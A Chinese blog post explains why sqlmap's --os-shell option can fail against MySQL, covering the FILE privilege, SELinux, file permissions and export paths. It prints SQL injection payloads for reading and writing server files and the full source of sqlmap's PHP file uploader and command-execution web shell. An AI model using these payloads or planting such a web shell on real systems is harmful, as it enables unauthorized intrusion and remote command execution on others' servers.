SQL注入:为什么拿不到os-shell?

1|0文章目录

2|0权限问题

首先确保注入点的数据库连接用户有FILE权限
使用 --privileges查看
但是
就算有此权限也还有很多问题

SELINUX
因为我的服务器使用的并不是Apache的默认发布目录
所以我把SELINUX禁掉了
按理来说
SELINUX也会对这些操作有影响

mysql文件操作权限
首先说一下Linux的文件权限
chmod命令用于更改文件权限
数字法中

0 无权限 1 可执行 2 可写 4 可读

四个数字随意组合共八种

0 无权限 1 可执行 2 可写 3 可执行/可写 4 可读 5 可执行/可读 6 可写/可读 7 可执行/可写/可读

–file-read

参数是文件路径
服务器上的mysql需要对此文件有5权限(执行/读)

因为它实际执行的函数是

LOAD_FILE('/data/test.txt');

mysql有对 /data/test.txt 的5权限才可以加载
否则就算服务器管理员使用此函数也无法读出文件

–file-write 和 --file-dest

这两个是配合使用的
–file-write的参数是Kali上的完整文件路径
–file-dest的参数是服务器上的完整文件路径
服务器上mysql需要对此文件路径有3权限(可写/可执行)
而且mysql的文件导出路径不能有限制
mysql导出路径
它实际执行的函数是

... INTO OUTFILE '/asdf/sadf/sdfa.txt'

–os-shell
mysql需要对网站发布目录有3权限
以及文件导出路径无限制
实际函数上传了两个php文件,即利用tmpulujm.php上传了一个tmpbtfgo.php的文件

...INTO OUTFILE '/DocumentRoot/asdaa.php'

3|0–file-read

payload

a' AND ORD( MID(( IFNULL( CAST( HEX(LOAD_FILE(0x2f6879) ) AS CHAR) ,0x20) ),1,1) )>66 AND 'BHHf'='BHHf

解析
0x2f6879是服务器上带完整路径的文件名

4|0–file-write和–file-dest

payload

a' LIMIT 0,1 INTO OUTFILE '/hoasdf/sdaf/asdf.txt' LINES TERMINATED BY 0x50542079536557276967963653d68747 -- -

解析
0x5054…是上传文件的HEX内容

5|0–os-shell

即利用tmpulujm.php上传了一个tmpbtfgo.php的文件

payload

a' LIMIT 0,1 INTO OUTFILE '/DocumentRoot/tmpuvpaa.php' LINES TERMINATED BY 0x300a696627365742f524554553545b2275706c6f6164225 -- -

解析
0x300a…是上传php文件的HEX内容
上传的两个php文件内容

a 12 <?php if (isset($_REQUEST["upload"])){ $dir=$_REQUEST["uploadDir"]; if (phpversion()<'4.1.0'){ $file=$HTTP_POST_FILES["file"]["name"]; @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die(); } else{ $file=$_FILES["file"]["name"]; @move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die(); } @chmod($dir."/".$file,0755); echo "File uploaded"; } else { echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/home/www/root/MyWebsite/> <input type=submit name=upload value=upload></form>"; } ?> <?php $c=$_REQUEST["cmd"]; @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0); $z=@ini_get('disable_functions'); if(!empty($z)){ $z=preg_replace('/[,]/',',',$z); $z=explode(',',$z); $z=array_map('trim',$z); } else{$z=array();} $c=$c." 2>&1\n"; function f($n){ global $z; return is_callable($n)and!in_array($n,$z); } if(f('system')){ ob_start(); system($c); $w=ob_get_contents(); ob_end_clean(); } elseif(f('proc_open'){ $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t); $w=NULL; while(!feof($t[1])){ $w.=fread($t[1],512); } @proc_close($y); } elseif(f('shell_exec')){ $w=shell_exec($c); } elseif(f('passthru')){ ob_start(); passthru($c); $w=ob_get_contents(); ob_end_clean(); } elseif(f('popen')){ $x=popen($c,r); $w=NULL; if(is_resource($x)){ while(!feof($x)){ $w.=fread($x,512); } } @pclose($x); } elseif(f('exec')){ $w=array(); exec($c,$w); $w=join(chr(10),$w).chr(10); } else{$w=0;} print "<pre>".$w."</pre>"; ?>

退出shell后两文件自动删除

6|0总结

拿到os-shell的条件

  1. 首先你得知道网站是用什么写的。这个倒是好说,ASP/ASPX/PHP/JSP,很容易看
  2. 网站的发布目录。这个开发环境中应该都会更改,而不会使用默认的
    比如Apache的/var/www/html,这里想说一下某些PHP程序员还有可能写完一个很有用的文件后忘记删掉了,可能叫test.php什么什么的,内容就是一句phpinfo();
    找到这个里面会有很多有用的信息
  3. SELinux。牛逼的管理员会详细配置SELinux,菜鸡如我就只能强制关掉了,SELinux会对数据库对外的操作作限制,特别是针对这种敏感的直接对发布目录进行的操作。
    还是得好好看看SELinux啊唉
  4. 执行权限。上面有详细说明
  5. 生产环境还会有WAF等防护

__EOF__

本文作者komomon
本文链接https://www.cnblogs.com/forforever/p/13763812.html
关于博主:喜欢读书、旅行、爬山。评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   komomon  阅读(659)  评论(0编辑  收藏  举报
编辑推荐:
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
阅读排行:
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】
点击右上角即可分享
微信分享提示